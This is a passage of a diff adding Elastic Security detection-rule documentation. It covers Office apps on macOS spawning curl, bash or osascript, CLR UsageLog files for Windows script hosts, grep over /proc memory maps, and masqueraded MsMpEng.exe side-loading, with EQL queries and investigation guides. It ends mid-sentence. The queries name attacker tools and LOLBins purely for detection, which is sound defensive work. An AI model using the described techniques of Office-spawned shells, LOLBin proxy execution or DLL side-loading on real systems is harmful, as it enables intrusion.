version discovery commands can trigger false positives. Exclude processes with arguments like "ProductVersion" and "ProductBuildVersion" to reduce noise. +- Office error reporting may cause alerts. Exclude paths related to Microsoft Error Reporting to prevent unnecessary alerts. +- Network setup and management tools such as "/usr/sbin/networksetup" can be benign. Exclude these executables if they are part of regular system operations. +- Third-party applications like ToDesk and JumpCloud Agent might be flagged. Exclude their executables if they are verified as safe and part of normal operations. +- Zotero integration can cause false positives with shell processes. Exclude specific command lines involving "CFFIXED_USER_HOME/.zoteroIntegrationPipe" to avoid these alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious child processes identified by the alert, such as those involving scripting languages or utilities like curl, bash, or osascript. +- Conduct a thorough review of the parent Microsoft Office application and associated documents to identify and remove any malicious macros or document exploits. +- Restore the affected system from a known good backup if malicious activity has compromised system integrity or data. +- Update all Microsoft Office applications to the latest version to patch any known vulnerabilities that could be exploited by similar threats. +- Implement application whitelisting to restrict the execution of unauthorized scripts and utilities, reducing the risk of exploitation through Office applications. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.action == "exec" and host.os.type == "macos" and + process.parent.name: ( + "Microsoft Word", + "Microsoft Outlook", + "Microsoft Excel", + "Microsoft PowerPoint", + "Microsoft OneNote" + ) and + process.name : ( + "curl", + "nscurl", + "bash", + "sh", + "osascript", + "python*", + "perl*", + "mktemp", + "chmod", + "php", + "nohup", + "openssl", + "plutil", + "PlistBuddy", + "xattr", + "mktemp", + "sqlite3", + "funzip", + "popen" + ) and + + // Filter FPs related to product version discovery and Office error reporting behavior + not process.args: + ( + "ProductVersion", + "hw.model", + "ioreg", + "ProductName", + "ProductUserVisibleVersion", + "ProductBuildVersion", + "/Library/Application Support/Microsoft/MERP*/Microsoft Error Reporting.app/Contents/MacOS/Microsoft Error Reporting", + "open -a Safari *", + "defaults read *", + "sysctl hw.model*", + "ioreg -d2 -c IOPlatformExpertDevice *", + "ps aux | grep 'ToDesk_Desktop' | grep -v grep", + "PIPE=\"$CFFIXED_USER_HOME/.zoteroIntegrationPipe*" + ) and + + not process.parent.executable : + ( + "/Applications/ToDesk.app/Contents/MacOS/ToDesk_Service", + "/usr/local/Privacy-i/PISupervisor", + "/Library/Addigy/lan-cache", + "/Library/Elastic/Agent/*", + "/opt/jc/bin/jumpcloud-agent", + "/usr/sbin/networksetup" + ) and + not (process.name : "sh" and process.command_line : "*$CFFIXED_USER_HOME/.zoteroIntegrationPipe*") and + + not process.Ext.effective_parent.executable : ( + "/Applications/ToDesk.app/Contents/MacOS/ToDesk_Service", + "/usr/local/Privacy-i/PISupervisor", + "/Library/Addigy/auditor", + "/Library/Elastic/Agent/*", + "/opt/jc/bin/jumpcloud-agent", + "/usr/sbin/networksetup" + ) and + not ( + process.name in ("sh", "bash") and + process.command_line like "*com.microsoft.Outlook/Data/tmp/Outlook*Temp*" and + process.parent.executable in ( + "/Applications/Microsoft Outlook.app/Contents/MacOS/Microsoft Outlook", + "/Applications/Microsoft Outlook 2.app/Contents/MacOS/Microsoft Outlook", + "/Applications/Microsoft/Microsoft Outlook.app/Contents/MacOS/Microsoft Outlook" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-managed-code-hosting-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-managed-code-hosting-process.asciidoc new file mode 100644 index 0000000000..0d50c2e59e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-managed-code-hosting-process.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-34-suspicious-managed-code-hosting-process]] +=== Suspicious Managed Code Hosting Process + +Identifies a suspicious managed code hosting process which could indicate code injection or other form of suspicious code execution. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Managed Code Hosting Process* + + + +*Possible investigation steps* + + +- What CLR UsageLog behavior did the alert preserve? + - Focus: `file.path`, `file.name`, `event.type`, and acting `process.name` / `process.executable`. + - Implication: escalate when the UsageLog host has no stable process/user pattern; lower suspicion only as an initial read when the same path and process recur for the same product, deployment, login-script, COM, or service-host context. +- Is the managed host the genuine Windows binary rather than a lookalike? + - Focus: same-process start evidence for `host.id` and `process.entity_id`: `process.executable`, hash, original file name, signer, and trust. !{investigate{"description":"","label":"Process events for the same process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if a source lacks `process.entity_id`, fall back to `process.pid` plus `host.id` in a tight alert-time window to avoid PID reuse. !{investigate{"description":"","label":"Process events for the same PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the host binary runs from a user-writable path, has a mismatched original file name, or has an unexpected signer; lower suspicion only when identity, signer, path, and the UsageLog host name all point to the same genuine Windows host. +- Does the launch chain explain why this host loaded managed code? + - Focus: `process.command_line`, parent executable/command line, `user.id`, and session context. + - Implication: escalate when Office, browsers, archive tools, remote sessions, or user-writable scripts drive mshta, wscript, cscript, wmic, regsvr32, or cmstp; lower suspicion when the same command line, parent, user, and session match a recognized installer, scheduled task, management agent, COM component, or login script. +- Does this UsageLog path recur with the same process and user pattern? + - Focus: historical file and process events for the same `host.id`, comparing `file.path`, `event.type`, process/parent executable, and `user.id`. !{investigate{"description":"","label":"File events for the same UsageLog path","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"}]],"relativeFrom":"now-7d/d","relativeTo":"now"}} + - Implication: escalate when a first create, new `process.executable`, new parent, new user, or unusual update appears for a process that normally should not host managed code; lower suspicion when prior events show the same path, process identity, parent, and user with no follow-on artifacts. +- Does the UsageLog artifact or same-process activity expose payload staging? + - Why: HTA/JS managed-code hosting and repeat UsageLog updates can hide intent in process text, so preserve the UsageLog while using same-process file/process telemetry for the decision. + - Focus: preserve `file.path`, then query file and process events for the same `host.id` and `process.entity_id`, comparing name, extension, size, and later `process.executable` reuse of written paths. !{investigate{"description":"","label":"File events for the same process or PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Child process events for the managed host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if only `process.pid` is available, keep the file/process correlation tightly scoped to the alert time and host; empty or multiple PID matches are unresolved, not benign. + - Implication: escalate when the process writes scriptable or executable content to user-writable paths, creates unusual payload-sized files, or later executes a written artifact; lower suspicion when artifacts stay inside the same recognized product or deployment path with no follow-on execution. +- If local evidence remains suspicious or unresolved, does the same user or host show related managed-host abuse? + - Focus: related alerts for `user.id` and `host.id`: repeated UsageLog paths, script-host execution, payload staging, injection, or persistence. + - Hint: same-user alert view: !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: same-host alert view: !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope only when UsageLog, identity, launch, recurrence, or artifact evidence remains suspicious or incomplete; keep local when the alert is isolated and all supported evidence resolves to one recognized workflow. +- Escalate for unauthorized managed-code execution through a script host or LOLBin; close only when UsageLog, identity, launch, recurrence, artifact, and related-alert evidence bind to one recognized workflow with no contradictions; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Packaging, deployment, login-script, management-agent, product, COM, and service-hosted workflows can legitimately update CLR UsageLogs for wscript.exe, cscript.exe, mshta.exe, wmic.exe, cmstp.exe, svchost.exe, dllhost.exe, or regsvr32.exe. Confirm `file.path`, process identity, signer or hash history, parent or service/COM launch context, user/session context, artifact behavior, and same-process file/process activity all point to one workflow. If inventories are unavailable, require stable UsageLog path, parent chain, process identity, and user-host pairing across prior alerts before closing as benign. +- Build exceptions only from the minimum confirmed workflow pattern: `file.path`, `process.executable`, `process.parent.executable`, stable signer or hash, and the relevant `host.id` or `user.id` scope. Avoid exceptions on `file.name`, process name, or host name alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the UsageLog path, process identity, launch chain, user/session context, recurrence pattern, and artifact evidence that proved the workflow. Create an exception only after the same pattern recurs consistently across prior alerts. +- If suspicious but unconfirmed, preserve the UsageLog artifact, process start event, command line, parent chain, same-process file/process timeline, written artifacts, related alerts, and case notes before containment or cleanup. +- If suspicious but unconfirmed, apply reversible containment tied to the findings, such as heightened monitoring or temporary isolation of the affected `host.id` when process/file evidence suggests payload execution. Avoid process termination or file deletion until the artifact set is preserved. +- If confirmed malicious, isolate the endpoint when process identity, launch context, artifact behavior, or related alerts establish unauthorized managed-code execution. Before suspending or terminating the host process, record the recovered `process.entity_id`, command line, parent chain, UsageLog path, and staged files. +- Scope related hosts and users for the same UsageLog path, parent process, process identity, and staged artifacts before deleting files or terminating additional processes. +- Remove only malicious scripts, HTA/JS payloads, assemblies, staged binaries, or persistence artifacts identified during the investigation, then remediate the delivery path or launcher that caused the managed host to load CLR. +- Post-incident hardening: restrict script-host and LOLBin execution through application control where feasible, keep endpoint file/process telemetry for CLR UsageLog triage, and document the confirmed benign workflow or malicious artifact set for future analysts. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.name : ("wscript.exe.log", + "cscript.exe.log", + "mshta.exe.log", + "wmic.exe.log", + "svchost.exe.log", + "dllhost.exe.log", + "cmstp.exe.log", + "regsvr32.exe.log") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-memory-grep-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-memory-grep-activity.asciidoc new file mode 100644 index 0000000000..b339653156 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-memory-grep-activity.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-suspicious-memory-grep-activity]] +=== Suspicious Memory grep Activity + +Monitors for grep activity related to memory mapping. The /proc/*/maps file in Linux provides a memory map for a specific process, detailing the memory segments, permissions, and what files are mapped to these segments. Attackers may read a process's memory map to identify memory addresses for code injection or process hijacking. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/arget13/DDexec + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Memory grep Activity* + + +In Linux, the `/proc/*/maps` file reveals a process's memory layout, crucial for debugging but exploitable by attackers for malicious activities like code injection. Adversaries may use tools like `grep` to scan these memory maps for specific segments, aiding in process manipulation. The detection rule identifies such suspicious `grep` usage by monitoring process initiation events, focusing on arguments that indicate potential memory mapping exploration. + + +*Possible investigation steps* + + +- Review the process initiation event details to confirm the presence of grep or its variants (egrep, fgrep, rgrep) in the process name field. +- Examine the process arguments to verify if they include memory segments like [stack], [vdso], or [heap], which could indicate an attempt to explore memory mappings. +- Identify the user or service account associated with the suspicious process to determine if the activity aligns with expected behavior or if it might be unauthorized. +- Check the parent process of the suspicious grep activity to understand the context in which it was executed and assess if it was initiated by a legitimate application or script. +- Investigate any recent changes or anomalies in the system logs around the time of the alert to identify potential indicators of compromise or related suspicious activities. +- Correlate this event with other security alerts or logs from the same host to identify patterns or a broader attack campaign. + + +*False positive analysis* + + +- System administrators or developers may use grep to inspect memory maps for legitimate debugging or performance tuning. To handle this, create exceptions for known user accounts or specific scripts that perform these tasks regularly. +- Automated monitoring tools might use grep to check memory usage patterns as part of routine health checks. Identify these tools and exclude their process IDs or command patterns from triggering alerts. +- Security software or intrusion detection systems could use grep to scan memory maps as part of their normal operations. Verify these processes and whitelist them to prevent unnecessary alerts. +- Developers running test scripts that include memory map analysis might trigger this rule. Document these scripts and add them to an exception list to avoid false positives. +- Some legitimate applications may use grep to read memory maps for configuration or optimization purposes. Monitor these applications and adjust the rule to exclude their specific command-line arguments. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or further exploitation. +- Terminate any suspicious processes identified by the detection rule, specifically those involving `grep` or its variants accessing memory maps. +- Conduct a memory dump and forensic analysis of the affected system to identify any injected code or unauthorized modifications. +- Review and audit access logs to determine if there was unauthorized access to the `/proc/*/maps` files and identify any potential data exfiltration. +- Apply patches and updates to the operating system and applications to mitigate known vulnerabilities that could be exploited for similar attacks. +- Implement stricter access controls and monitoring on sensitive files and directories, such as `/proc/*/maps`, to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("grep", "egrep", "fgrep", "rgrep") and process.args in ("[stack]", "[vdso]", "[heap]") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-microsoft-antimalware-service-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-microsoft-antimalware-service-execution.asciidoc new file mode 100644 index 0000000000..d88ec79bf2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-microsoft-antimalware-service-execution.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-34-suspicious-microsoft-antimalware-service-execution]] +=== Suspicious Microsoft Antimalware Service Execution + +Identifies suspicious execution of the Microsoft Antimalware Service Executable (MsMpEng.exe) from non-standard paths or renamed instances. This may indicate an attempt to evade defenses through DLL side-loading or by masquerading as the antimalware process. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic +* Dennis Perto + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Microsoft Antimalware Service Execution* + + + +*Possible investigation steps* + + +- Which Defender identity anomaly did the alert capture? + - Focus: `process.name`, `process.pe.original_file_name`, `process.executable`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when `process.pe.original_file_name` is "MsMpEng.exe" under renamed `process.name`, or `process.name` is "MsMpEng.exe" outside Defender/Microsoft Security Client paths, even with trusted Microsoft signing; lower suspicion only when exact path, signer, and name pattern fit controlled packaging, recovery, or malware-analysis copy. +- Does the path, file timing, and parent context look like staged Defender abuse? + - Why: unusual-path Defender binaries can load same-folder DLLs through search-order behavior, so path and parent context separate masquerading or side-loading from controlled copies. + - Focus: `process.executable`, `process.Ext.relative_file_creation_time`, `process.Ext.relative_file_name_modify_time`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when the binary is fresh, recently renamed, or launched from user-writable, temp, share, archive, agent working, or Windows staging paths by a script, archive tool, RMM agent, or dropper parent; path age and parent context support benign closure only if later side-loading and launcher checks do not contradict them. +- Does the user, token, and session context fit Defender service execution? + - Focus: `user.id`, `user.name`, `process.Ext.session_info.logon_type`, and `process.Ext.token.integrity_level_name`. + - Implication: escalate when the process runs under an interactive/domain user, a non-service logon, or a user-level token that does not fit antimalware service startup; SYSTEM or service context lowers only the session concern and does not clear the unusual path by itself. +- If file or library telemetry is available, is there same-directory staging or DLL side-loading evidence? + - Focus: recover file and library events with `host.id` plus `process.entity_id` when present, or `host.id` plus `process.pid` and a tight alert window; inspect `file.path`, `dll.path`, `dll.name`, `dll.code_signature.trusted`, and `dll.Ext.relative_file_creation_time`. !{investigate{"description":"","label":"File and library events for the suspicious process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"library","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: missing file or library telemetry is unresolved, not benign; prioritize same-folder DLLs whose path, signer, or creation time does not fit the product layout, plus artifacts created before `process.executable` started. + - Implication: escalate when the unusual Defender copy loads a recent, unsigned/untrusted same-folder DLL or the directory contains newly staged executables, DLLs, scripts, archives, or renamed files; complete recovery with only expected Microsoft components lowers side-loading concern. +- Does the process act as a launcher rather than a passive service component? + - Focus: child process events where `process.parent.entity_id` matches suspicious `process.entity_id`, repeated starts from `process.executable` on `host.id`, and child `process.name`, `process.executable`, and `process.command_line`. + - !{investigate{"description":"","label":"Child process events for the suspicious process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Process events for the suspicious executable path","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when it starts shells, PowerShell, certutil, netsh, installers, encryption tooling, or other hands-on-keyboard utilities, or when repeated launches suggest staged execution; no child or repeat behavior lowers launcher concern but does not clear the path anomaly. +- If local findings stay suspicious or unresolved, do related alerts show path reuse or host compromise? + - Focus: related alerts for `process.executable`, especially unusual-path Defender, masquerading, or side-loading detections. + - !{investigate{"description":"","label":"Alerts associated with the suspicious executable path","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: also review related alerts for `host.id` or `user.id`, especially staging, persistence, credential-access, ransomware, or other masquerading detections. + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same path appears on unrelated hosts or the host has precursor or follow-on alerts; keep the case local only when related alerts show no reuse or follow-on activity and all local evidence is clean. + +- Escalate when Defender identity/path evidence plus one meaningful corroborator supports masquerading or DLL side-loading; close only when exact path, signer, parent, session, host/user scope, and optional outside confirmation tie to one controlled workflow with no contradictory telemetry; preserve artifacts and escalate when findings stay mixed or visibility is incomplete. + + +*False positive analysis* + + +- A non-default Defender installation, controlled security packaging, recovery, or malware-analysis validation can stage Microsoft antimalware binaries outside default paths. Confirm the same workflow by matching exact `process.executable`, `process.hash.sha256` or `process.code_signature.thumbprint_sha256`, Microsoft `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.parent.executable`, `process.parent.command_line`, `user.id`, `host.id`, and session pattern; without outside records, require recurrence across prior rule alerts without side-loading, launcher, or related-alert contradictions. +- Treat production execution from temp, user-writable, share, archive, agent working, or Windows staging paths as an operational anti-pattern unless a controlled workflow proves why the copy exists. Do not close as benign when same-folder DLLs, child tooling, recent rename timing, or unrelated related alerts contradict it. +- Build exceptions only from the 